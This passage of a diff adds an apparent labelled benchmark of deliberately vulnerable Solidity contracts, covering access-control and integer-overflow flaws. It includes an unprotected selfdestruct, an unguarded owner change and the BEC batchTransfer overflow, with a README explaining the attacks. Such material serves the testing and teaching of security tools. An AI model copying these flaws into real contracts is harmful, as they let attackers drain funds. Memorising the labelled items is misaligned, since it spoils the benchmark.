@@ -0,0 +1,16 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/unprotected_critical_functions/simple_suicide.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 12,13
|
||||
*/
|
||||
|
||||
//added prgma version
|
||||
pragma solidity ^0.4.0;
|
||||
|
||||
contract SimpleSuicide {
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
function sudicideAnyone() {
|
||||
selfdestruct(msg.sender);
|
||||
}
|
||||
|
||||
}
|
||||
39
dataset/access_control/unprotected0.sol
Normal file
39
dataset/access_control/unprotected0.sol
Normal file
@@ -0,0 +1,39 @@
|
||||
/*
|
||||
* @source: https://github.com/trailofbits/not-so-smart-contracts/blob/master/unprotected_function/Unprotected.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 25
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.15;
|
||||
|
||||
contract Unprotected{
|
||||
address private owner;
|
||||
|
||||
modifier onlyowner {
|
||||
require(msg.sender==owner);
|
||||
_;
|
||||
}
|
||||
|
||||
function Unprotected()
|
||||
public
|
||||
{
|
||||
owner = msg.sender;
|
||||
}
|
||||
|
||||
// This function should be protected
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
function changeOwner(address _newOwner)
|
||||
public
|
||||
{
|
||||
owner = _newOwner;
|
||||
}
|
||||
|
||||
/*
|
||||
function changeOwner_fixed(address _newOwner)
|
||||
public
|
||||
onlyowner
|
||||
{
|
||||
owner = _newOwner;
|
||||
}
|
||||
*/
|
||||
}
|
||||
46
dataset/access_control/wallet_02_refund_nosub.sol
Normal file
46
dataset/access_control/wallet_02_refund_nosub.sol
Normal file
@@ -0,0 +1,46 @@
|
||||
/*
|
||||
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-105#wallet-02-refund-nosubsol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 36
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.24;
|
||||
|
||||
/* User can add pay in and withdraw Ether.
|
||||
Unfortunately the developer forgot set the user's balance to 0 when refund() is called.
|
||||
An attacker can pay in a small amount of Ether and call refund() repeatedly to empty the contract.
|
||||
*/
|
||||
|
||||
contract Wallet {
|
||||
address creator;
|
||||
|
||||
mapping(address => uint256) balances;
|
||||
|
||||
constructor() public {
|
||||
creator = msg.sender;
|
||||
}
|
||||
|
||||
function deposit() public payable {
|
||||
assert(balances[msg.sender] + msg.value > balances[msg.sender]);
|
||||
balances[msg.sender] += msg.value;
|
||||
}
|
||||
|
||||
function withdraw(uint256 amount) public {
|
||||
require(amount <= balances[msg.sender]);
|
||||
msg.sender.transfer(amount);
|
||||
balances[msg.sender] -= amount;
|
||||
}
|
||||
|
||||
function refund() public {
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
msg.sender.transfer(balances[msg.sender]);
|
||||
}
|
||||
|
||||
// In an emergency the owner can migrate allfunds to a different address.
|
||||
|
||||
function migrateTo(address to) public {
|
||||
require(creator == msg.sender);
|
||||
to.transfer(this.balance);
|
||||
}
|
||||
|
||||
}
|
||||
41
dataset/access_control/wallet_03_wrong_constructor.sol
Normal file
41
dataset/access_control/wallet_03_wrong_constructor.sol
Normal file
@@ -0,0 +1,41 @@
|
||||
/*
|
||||
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-105#wallet-03-wrong-constructorsol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 19,20
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.24;
|
||||
|
||||
/* User can add pay in and withdraw Ether.
|
||||
The constructor is wrongly named, so anyone can become 'creator' and withdraw all funds.
|
||||
*/
|
||||
|
||||
contract Wallet {
|
||||
address creator;
|
||||
|
||||
mapping(address => uint256) balances;
|
||||
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
function initWallet() public {
|
||||
creator = msg.sender;
|
||||
}
|
||||
|
||||
function deposit() public payable {
|
||||
assert(balances[msg.sender] + msg.value > balances[msg.sender]);
|
||||
balances[msg.sender] += msg.value;
|
||||
}
|
||||
|
||||
function withdraw(uint256 amount) public {
|
||||
require(amount <= balances[msg.sender]);
|
||||
msg.sender.transfer(amount);
|
||||
balances[msg.sender] -= amount;
|
||||
}
|
||||
|
||||
// In an emergency the owner can migrate allfunds to a different address.
|
||||
|
||||
function migrateTo(address to) public {
|
||||
require(creator == msg.sender);
|
||||
to.transfer(this.balance);
|
||||
}
|
||||
|
||||
}
|
||||
42
dataset/access_control/wallet_04_confused_sign.sol
Normal file
42
dataset/access_control/wallet_04_confused_sign.sol
Normal file
@@ -0,0 +1,42 @@
|
||||
/*
|
||||
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-105#wallet-04-confused-signsol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 30
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.24;
|
||||
|
||||
/* User can add pay in and withdraw Ether.
|
||||
Unfortunatelty, the developer was drunk and used the wrong comparison operator in "withdraw()"
|
||||
Anybody can withdraw arbitrary amounts of Ether :()
|
||||
*/
|
||||
|
||||
contract Wallet {
|
||||
address creator;
|
||||
|
||||
mapping(address => uint256) balances;
|
||||
|
||||
constructor() public {
|
||||
creator = msg.sender;
|
||||
}
|
||||
|
||||
function deposit() public payable {
|
||||
assert(balances[msg.sender] + msg.value > balances[msg.sender]);
|
||||
balances[msg.sender] += msg.value;
|
||||
}
|
||||
|
||||
function withdraw(uint256 amount) public {
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
require(amount >= balances[msg.sender]);
|
||||
msg.sender.transfer(amount);
|
||||
balances[msg.sender] -= amount;
|
||||
}
|
||||
|
||||
// In an emergency the owner can migrate allfunds to a different address.
|
||||
|
||||
function migrateTo(address to) public {
|
||||
require(creator == msg.sender);
|
||||
to.transfer(this.balance);
|
||||
}
|
||||
|
||||
}
|
||||
306
dataset/arithmetic/BECToken.sol
Normal file
306
dataset/arithmetic/BECToken.sol
Normal file
@@ -0,0 +1,306 @@
|
||||
/*
|
||||
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-101#bectokensol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 264
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.16;
|
||||
|
||||
/**
|
||||
* @title SafeMath
|
||||
* @dev Math operations with safety checks that throw on error
|
||||
*/
|
||||
library SafeMath {
|
||||
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
|
||||
uint256 c = a * b;
|
||||
require(a == 0 || c / a == b);
|
||||
return c;
|
||||
}
|
||||
|
||||
function div(uint256 a, uint256 b) internal constant returns (uint256) {
|
||||
// require(b > 0); // Solidity automatically throws when dividing by 0
|
||||
uint256 c = a / b;
|
||||
// require(a == b * c + a % b); // There is no case in which this doesn't hold
|
||||
return c;
|
||||
}
|
||||
|
||||
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
|
||||
require(b <= a);
|
||||
return a - b;
|
||||
}
|
||||
|
||||
function add(uint256 a, uint256 b) internal constant returns (uint256) {
|
||||
uint256 c = a + b;
|
||||
require(c >= a);
|
||||
return c;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @title ERC20Basic
|
||||
* @dev Simpler version of ERC20 interface
|
||||
* @dev see https://github.com/ethereum/EIPs/issues/179
|
||||
*/
|
||||
contract ERC20Basic {
|
||||
uint256 public totalSupply;
|
||||
function balanceOf(address who) public constant returns (uint256);
|
||||
function transfer(address to, uint256 value) public returns (bool);
|
||||
event Transfer(address indexed from, address indexed to, uint256 value);
|
||||
}
|
||||
|
||||
/**
|
||||
* @title Basic token
|
||||
* @dev Basic version of StandardToken, with no allowances.
|
||||
*/
|
||||
contract BasicToken is ERC20Basic {
|
||||
using SafeMath for uint256;
|
||||
|
||||
mapping(address => uint256) balances;
|
||||
|
||||
/**
|
||||
* @dev transfer token for a specified address
|
||||
* @param _to The address to transfer to.
|
||||
* @param _value The amount to be transferred.
|
||||
*/
|
||||
function transfer(address _to, uint256 _value) public returns (bool) {
|
||||
require(_to != address(0));
|
||||
require(_value > 0 && _value <= balances[msg.sender]);
|
||||
|
||||
// SafeMath.sub will throw if there is not enough balance.
|
||||
balances[msg.sender] = balances[msg.sender].sub(_value);
|
||||
balances[_to] = balances[_to].add(_value);
|
||||
Transfer(msg.sender, _to, _value);
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Gets the balance of the specified address.
|
||||
* @param _owner The address to query the the balance of.
|
||||
* @return An uint256 representing the amount owned by the passed address.
|
||||
*/
|
||||
function balanceOf(address _owner) public constant returns (uint256 balance) {
|
||||
return balances[_owner];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @title ERC20 interface
|
||||
* @dev see https://github.com/ethereum/EIPs/issues/20
|
||||
*/
|
||||
contract ERC20 is ERC20Basic {
|
||||
function allowance(address owner, address spender) public constant returns (uint256);
|
||||
function transferFrom(address from, address to, uint256 value) public returns (bool);
|
||||
function approve(address spender, uint256 value) public returns (bool);
|
||||
event Approval(address indexed owner, address indexed spender, uint256 value);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @title Standard ERC20 token
|
||||
*
|
||||
* @dev Implementation of the basic standard token.
|
||||
* @dev https://github.com/ethereum/EIPs/issues/20
|
||||
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
|
||||
*/
|
||||
contract StandardToken is ERC20, BasicToken {
|
||||
|
||||
mapping (address => mapping (address => uint256)) internal allowed;
|
||||
|
||||
|
||||
/**
|
||||
* @dev Transfer tokens from one address to another
|
||||
* @param _from address The address which you want to send tokens from
|
||||
* @param _to address The address which you want to transfer to
|
||||
* @param _value uint256 the amount of tokens to be transferred
|
||||
*/
|
||||
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
|
||||
require(_to != address(0));
|
||||
require(_value > 0 && _value <= balances[_from]);
|
||||
require(_value <= allowed[_from][msg.sender]);
|
||||
|
||||
balances[_from] = balances[_from].sub(_value);
|
||||
balances[_to] = balances[_to].add(_value);
|
||||
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
|
||||
Transfer(_from, _to, _value);
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
|
||||
*
|
||||
* Beware that changing an allowance with this method brings the risk that someone may use both the old
|
||||
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
|
||||
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
|
||||
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
|
||||
* @param _spender The address which will spend the funds.
|
||||
* @param _value The amount of tokens to be spent.
|
||||
*/
|
||||
function approve(address _spender, uint256 _value) public returns (bool) {
|
||||
allowed[msg.sender][_spender] = _value;
|
||||
Approval(msg.sender, _spender, _value);
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Function to check the amount of tokens that an owner allowed to a spender.
|
||||
* @param _owner address The address which owns the funds.
|
||||
* @param _spender address The address which will spend the funds.
|
||||
* @return A uint256 specifying the amount of tokens still available for the spender.
|
||||
*/
|
||||
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
|
||||
return allowed[_owner][_spender];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @title Ownable
|
||||
* @dev The Ownable contract has an owner address, and provides basic authorization control
|
||||
* functions, this simplifies the implementation of "user permissions".
|
||||
*/
|
||||
contract Ownable {
|
||||
address public owner;
|
||||
|
||||
|
||||
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
||||
|
||||
|
||||
/**
|
||||
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
|
||||
* account.
|
||||
*/
|
||||
function Ownable() {
|
||||
owner = msg.sender;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @dev Throws if called by any account other than the owner.
|
||||
*/
|
||||
modifier onlyOwner() {
|
||||
require(msg.sender == owner);
|
||||
_;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @dev Allows the current owner to transfer control of the contract to a newOwner.
|
||||
* @param newOwner The address to transfer ownership to.
|
||||
*/
|
||||
function transferOwnership(address newOwner) onlyOwner public {
|
||||
require(newOwner != address(0));
|
||||
OwnershipTransferred(owner, newOwner);
|
||||
owner = newOwner;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* @title Pausable
|
||||
* @dev Base contract which allows children to implement an emergency stop mechanism.
|
||||
*/
|
||||
contract Pausable is Ownable {
|
||||
event Pause();
|
||||
event Unpause();
|
||||
|
||||
bool public paused = false;
|
||||
|
||||
|
||||
/**
|
||||
* @dev Modifier to make a function callable only when the contract is not paused.
|
||||
*/
|
||||
modifier whenNotPaused() {
|
||||
require(!paused);
|
||||
_;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Modifier to make a function callable only when the contract is paused.
|
||||
*/
|
||||
modifier whenPaused() {
|
||||
require(paused);
|
||||
_;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev called by the owner to pause, triggers stopped state
|
||||
*/
|
||||
function pause() onlyOwner whenNotPaused public {
|
||||
paused = true;
|
||||
Pause();
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev called by the owner to unpause, returns to normal state
|
||||
*/
|
||||
function unpause() onlyOwner whenPaused public {
|
||||
paused = false;
|
||||
Unpause();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @title Pausable token
|
||||
*
|
||||
* @dev StandardToken modified with pausable transfers.
|
||||
**/
|
||||
|
||||
contract PausableToken is StandardToken, Pausable {
|
||||
|
||||
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
|
||||
return super.transfer(_to, _value);
|
||||
}
|
||||
|
||||
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
|
||||
return super.transferFrom(_from, _to, _value);
|
||||
}
|
||||
|
||||
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
|
||||
return super.approve(_spender, _value);
|
||||
}
|
||||
|
||||
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
|
||||
uint cnt = _receivers.length;
|
||||
// <yes> <report> ARITHMETIC
|
||||
uint256 amount = uint256(cnt) * _value;
|
||||
require(cnt > 0 && cnt <= 20);
|
||||
require(_value > 0 && balances[msg.sender] >= amount);
|
||||
|
||||
balances[msg.sender] = balances[msg.sender].sub(amount);
|
||||
for (uint i = 0; i < cnt; i++) {
|
||||
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
|
||||
Transfer(msg.sender, _receivers[i], _value);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @title Bec Token
|
||||
*
|
||||
* @dev Implementation of Bec Token based on the basic standard token.
|
||||
*/
|
||||
contract BecToken is PausableToken {
|
||||
/**
|
||||
* Public variables of the token
|
||||
* The following variables are OPTIONAL vanities. One does not have to include them.
|
||||
* They allow one to customise the token contract & in no way influences the core functionality.
|
||||
* Some wallets/interfaces might not even bother to look at this information.
|
||||
*/
|
||||
string public name = "BeautyChain";
|
||||
string public symbol = "BEC";
|
||||
string public version = '1.0.0';
|
||||
uint8 public decimals = 18;
|
||||
|
||||
/**
|
||||
* @dev Function to check the amount of tokens that an owner allowed to a spender.
|
||||
*/
|
||||
function BecToken() {
|
||||
totalSupply = 7000000000 * (10**(uint256(decimals)));
|
||||
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
|
||||
}
|
||||
|
||||
function () {
|
||||
//if ether is sent to this address, send it back.
|
||||
revert();
|
||||
}
|
||||
}
|
||||
43
dataset/arithmetic/README.md
Executable file
43
dataset/arithmetic/README.md
Executable file
@@ -0,0 +1,43 @@
|
||||
# Arithmetic
|
||||
Also known as integer overflow and integer underflow.
|
||||
|
||||
Integer overflows and underflows are not a new class of vulnerability, but they are especially dangerous in smart contracts, where unsigned integers are prevalent and most developers are used to simple int types (which are often just signed integers). If overflows occur, many benign-seeming codepaths become vectors for theft or denial of service.
|
||||
|
||||
## Attack Scenario
|
||||
A smart contract's withdraw() function allows you to retrieve ether donated to the contract as long as your balance remains positive after the operation.
|
||||
An attacker attempts to withdraw more than his or her current balance.
|
||||
The withdraw() function check's result is always a positive amount, allowing the attacker to withdraw more than allowed. The resulting balance underflows and becomes an order of magnitude larger than it should be.
|
||||
|
||||
## Examples
|
||||
The most straightforward example is a function that does not check for integer underflow, allowing you to withdraw an infinite amount of tokens:
|
||||
```
|
||||
function withdraw(uint _amount) {
|
||||
require(balances[msg.sender] - _amount > 0);
|
||||
msg.sender.transfer(_amount);
|
||||
balances[msg.sender] -= _amount;
|
||||
}
|
||||
```
|
||||
The second example (spotted during the Underhanded Solidity Coding Contest) is an off-by-one error facilitated by the fact that an array's length is represented by an unsigned integer:
|
||||
```
|
||||
function popArrayOfThings() {
|
||||
require(arrayOfThings.length >= 0);
|
||||
arrayOfThings.length--;
|
||||
}
|
||||
```
|
||||
The third example is a variant of the first example, where the result of arithmetic on two unsigned integers is an unsigned integer:
|
||||
```
|
||||
function votes(uint postId, uint upvote, uint downvotes) {
|
||||
if (upvote - downvote < 0) {
|
||||
deletePost(postId)
|
||||
}
|
||||
}
|
||||
```
|
||||
The fourth example features the soon-to-be-deprecated var keyword. Because var will change itself to the smallest type needed to contain the assigned value, it will become an uint8 to hold the value 0. If the loop is meant to iterate more than 255 times, it will never reach that number and will stop when the execution runs out of gas:
|
||||
```
|
||||
for (var i = 0; i < somethingLarge; i ++) {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
Taken from [DASP TOP10](https://dasp.co/)
|
||||
21
dataset/arithmetic/insecure_transfer.sol
Normal file
21
dataset/arithmetic/insecure_transfer.sol
Normal file
@@ -0,0 +1,21 @@
|
||||
/*
|
||||
* @source: https://consensys.github.io/smart-contract-best-practices/known_attacks/#front-running-aka-transaction-ordering-dependence
|
||||
* @author: consensys
|
||||
* @vulnerable_at_lines: 18
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.0;
|
||||
|
||||
contract IntegerOverflowAdd {
|
||||
mapping (address => uint256) public balanceOf;
|
||||
|
||||
// INSECURE
|
||||
function transfer(address _to, uint256 _value) public{
|
||||
/* Check if sender has balance */
|
||||
require(balanceOf[msg.sender] >= _value);
|
||||
balanceOf[msg.sender] -= _value;
|
||||
// <yes> <report> ARITHMETIC
|
||||
balanceOf[_to] += _value;
|
||||
}
|
||||
|
||||
}
|
||||
24
dataset/arithmetic/integer_overflow_1.sol
Normal file
24
dataset/arithmetic/integer_overflow_1.sol
Normal file
@@ -0,0 +1,24 @@
|
||||
/*
|
||||
* @source: https://github.com/trailofbits/not-so-smart-contracts/blob/master/integer_overflow/integer_overflow_1.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 14
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.15;
|
||||
|
||||
contract Overflow {
|
||||
uint private sellerBalance=0;
|
||||
|
||||
function add(uint value) returns (bool){
|
||||
// <yes> <report> ARITHMETIC
|
||||
sellerBalance += value; // possible overflow
|
||||
|
||||
// possible auditor assert
|
||||
// assert(sellerBalance >= value);
|
||||
}
|
||||
|
||||
// function safe_add(uint value) returns (bool){
|
||||
// require(value + sellerBalance >= sellerBalance);
|
||||
// sellerBalance += value;
|
||||
// }
|
||||
}
|
||||
19
dataset/arithmetic/integer_overflow_add.sol
Normal file
19
dataset/arithmetic/integer_overflow_add.sol
Normal file
@@ -0,0 +1,19 @@
|
||||
/*
|
||||
* @source: https://github.com/ConsenSys/evm-analyzer-benchmark-suite/blob/master/benchmarks/integer_overflow_add.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 17
|
||||
*/
|
||||
|
||||
//Single transaction overflow
|
||||
//Post-transaction effect: overflow escapes to publicly-readable storage
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract IntegerOverflowAdd {
|
||||
uint public count = 1;
|
||||
|
||||
function run(uint256 input) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
count += input;
|
||||
}
|
||||
}
|
||||
19
dataset/arithmetic/integer_overflow_benign_1.sol
Normal file
19
dataset/arithmetic/integer_overflow_benign_1.sol
Normal file
@@ -0,0 +1,19 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/integer_overflow_and_underflow/integer_overflow_benign_1.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 17
|
||||
*/
|
||||
|
||||
//Single transaction overflow
|
||||
//Post-transaction effect: overflow never escapes function
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract IntegerOverflowBenign1 {
|
||||
uint public count = 1;
|
||||
|
||||
function run(uint256 input) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
uint res = count - input;
|
||||
}
|
||||
}
|
||||
18
dataset/arithmetic/integer_overflow_mapping_sym_1.sol
Normal file
18
dataset/arithmetic/integer_overflow_mapping_sym_1.sol
Normal file
@@ -0,0 +1,18 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/integer_overflow_and_underflow/integer_overflow_mapping_sym_1.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 16
|
||||
*/
|
||||
|
||||
//Single transaction overflow
|
||||
|
||||
pragma solidity ^0.4.11;
|
||||
|
||||
contract IntegerOverflowMappingSym1 {
|
||||
mapping(uint256 => uint256) map;
|
||||
|
||||
function init(uint256 k, uint256 v) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
map[k] -= v;
|
||||
}
|
||||
}
|
||||
19
dataset/arithmetic/integer_overflow_minimal.sol
Normal file
19
dataset/arithmetic/integer_overflow_minimal.sol
Normal file
@@ -0,0 +1,19 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/integer_overflow_and_underflow/integer_overflow_minimal.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 17
|
||||
*/
|
||||
|
||||
//Single transaction overflow
|
||||
//Post-transaction effect: overflow escapes to publicly-readable storage
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract IntegerOverflowMinimal {
|
||||
uint public count = 1;
|
||||
|
||||
function run(uint256 input) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
count -= input;
|
||||
}
|
||||
}
|
||||
19
dataset/arithmetic/integer_overflow_mul.sol
Normal file
19
dataset/arithmetic/integer_overflow_mul.sol
Normal file
@@ -0,0 +1,19 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/integer_overflow_and_underflow/integer_overflow_mul.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 17
|
||||
*/
|
||||
|
||||
//Single transaction overflow
|
||||
//Post-transaction effect: overflow escapes to publicly-readable storage
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract IntegerOverflowMul {
|
||||
uint public count = 2;
|
||||
|
||||
function run(uint256 input) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
count *= input;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
/*
|
||||
* @source: https://github.com/ConsenSys/evm-analyzer-benchmark-suite
|
||||
* @author: Suhabe Bugrara
|
||||
* @vulnerable_at_lines: 25
|
||||
*/
|
||||
|
||||
//Multi-transactional, multi-function
|
||||
//Arithmetic instruction reachable
|
||||
|
||||
pragma solidity ^0.4.23;
|
||||
|
||||
contract IntegerOverflowMultiTxMultiFuncFeasible {
|
||||
uint256 private initialized = 0;
|
||||
uint256 public count = 1;
|
||||
|
||||
function init() public {
|
||||
initialized = 1;
|
||||
}
|
||||
|
||||
function run(uint256 input) {
|
||||
if (initialized == 0) {
|
||||
return;
|
||||
}
|
||||
// <yes> <report> ARITHMETIC
|
||||
count -= input;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
/*
|
||||
* @source: https://github.com/ConsenSys/evm-analyzer-benchmark-suite
|
||||
* @author: Suhabe Bugrara
|
||||
* @vulnerable_at_lines: 22
|
||||
*/
|
||||
|
||||
//Multi-transactional, single function
|
||||
//Arithmetic instruction reachable
|
||||
|
||||
pragma solidity ^0.4.23;
|
||||
|
||||
contract IntegerOverflowMultiTxOneFuncFeasible {
|
||||
uint256 private initialized = 0;
|
||||
uint256 public count = 1;
|
||||
|
||||
function run(uint256 input) public {
|
||||
if (initialized == 0) {
|
||||
initialized = 1;
|
||||
return;
|
||||
}
|
||||
// <yes> <report> ARITHMETIC
|
||||
count -= input;
|
||||
}
|
||||
}
|
||||
16
dataset/arithmetic/overflow_simple_add.sol
Normal file
16
dataset/arithmetic/overflow_simple_add.sol
Normal file
@@ -0,0 +1,16 @@
|
||||
/*
|
||||
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-101#overflow-simple-addsol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 14
|
||||
*/
|
||||
|
||||
pragma solidity 0.4.25;
|
||||
|
||||
contract Overflow_Add {
|
||||
uint public balance = 1;
|
||||
|
||||
function add(uint256 deposit) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
balance += deposit;
|
||||
}
|
||||
}
|
||||
51
dataset/arithmetic/overflow_single_tx.sol
Normal file
51
dataset/arithmetic/overflow_single_tx.sol
Normal file
@@ -0,0 +1,51 @@
|
||||
/*
|
||||
* @source: https://github.com/ConsenSys/evm-analyzer-benchmark-suite
|
||||
* @author: Suhabe Bugrara
|
||||
* @vulnerable_at_lines: 18,24,30,36,42,48
|
||||
*/
|
||||
|
||||
//Single transaction overflow
|
||||
//Post-transaction effect: overflow escapes to publicly-readable storage
|
||||
|
||||
pragma solidity ^0.4.23;
|
||||
|
||||
contract IntegerOverflowSingleTransaction {
|
||||
uint public count = 1;
|
||||
|
||||
// ADD overflow with result stored in state variable.
|
||||
function overflowaddtostate(uint256 input) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
count += input;
|
||||
}
|
||||
|
||||
// MUL overflow with result stored in state variable.
|
||||
function overflowmultostate(uint256 input) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
count *= input;
|
||||
}
|
||||
|
||||
// Underflow with result stored in state variable.
|
||||
function underflowtostate(uint256 input) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
count -= input;
|
||||
}
|
||||
|
||||
// ADD Overflow, no effect on state.
|
||||
function overflowlocalonly(uint256 input) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
uint res = count + input;
|
||||
}
|
||||
|
||||
// MUL Overflow, no effect on state.
|
||||
function overflowmulocalonly(uint256 input) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
uint res = count * input;
|
||||
}
|
||||
|
||||
// Underflow, no effect on state.
|
||||
function underflowlocalonly(uint256 input) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
uint res = count - input;
|
||||
}
|
||||
|
||||
}
|
||||
32
dataset/arithmetic/timelock.sol
Normal file
32
dataset/arithmetic/timelock.sol
Normal file
@@ -0,0 +1,32 @@
|
||||
/*
|
||||
* @source: https://github.com/sigp/solidity-security-blog
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 22
|
||||
*/
|
||||
|
||||
//added pragma version
|
||||
pragma solidity ^0.4.0;
|
||||
|
||||
contract TimeLock {
|
||||
|
||||
mapping(address => uint) public balances;
|
||||
mapping(address => uint) public lockTime;
|
||||
|
||||
function deposit() public payable {
|
||||
balances[msg.sender] += msg.value;
|
||||
lockTime[msg.sender] = now + 1 weeks;
|
||||
}
|
||||
|
||||
function increaseLockTime(uint _secondsToIncrease) public {
|
||||
// <yes> <report> ARITHMETIC
|
||||
lockTime[msg.sender] += _secondsToIncrease;
|
||||
}
|
||||
|
||||
function withdraw() public {
|
||||
require(balances[msg.sender] > 0);
|
||||
require(now > lockTime[msg.sender]);
|
||||
uint transferValue = balances[msg.sender];
|
||||
balances[msg.sender] = 0;
|
||||
msg.sender.transfer(transferValue);
|
||||
}
|
||||
}
|
||||
30
dataset/arithmetic/token.sol
Normal file
30
dataset/arithmetic/token.sol
Normal file
@@ -0,0 +1,30 @@
|
||||
/*
|
||||
* @source: https://github.com/sigp/solidity-security-blog
|
||||
* @author: Steve Marx
|
||||
* @vulnerable_at_lines: 20,22
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.18;
|
||||
|
||||
contract Token {
|
||||
|
||||
mapping(address => uint) balances;
|
||||
uint public totalSupply;
|
||||
|
||||
function Token(uint _initialSupply) {
|
||||
balances[msg.sender] = totalSupply = _initialSupply;
|
||||
}
|
||||
|
||||
function transfer(address _to, uint _value) public returns (bool) {
|
||||
// <yes> <report> ARITHMETIC
|
||||
require(balances[msg.sender] - _value >= 0);
|
||||
// <yes> <report> ARITHMETIC
|
||||
balances[msg.sender] -= _value;
|
||||
balances[_to] += _value;
|
||||
return true;
|
||||
}
|
||||
|
||||
function balanceOf(address _owner) public constant returns (uint balance) {
|
||||
return balances[_owner];
|
||||
}
|
||||
}
|
||||
35
dataset/arithmetic/tokensalechallenge.sol
Normal file
35
dataset/arithmetic/tokensalechallenge.sol
Normal file
@@ -0,0 +1,35 @@
|
||||
/*
|
||||
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-101 // https://capturetheether.com/challenges/math/token-sale/
|
||||
* @author: Steve Marx
|
||||
* @vulnerable_at_lines: 23,25,33
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.21;
|
||||
|
||||
contract TokenSaleChallenge {
|
||||
mapping(address => uint256) public balanceOf;
|
||||
uint256 constant PRICE_PER_TOKEN = 1 ether;
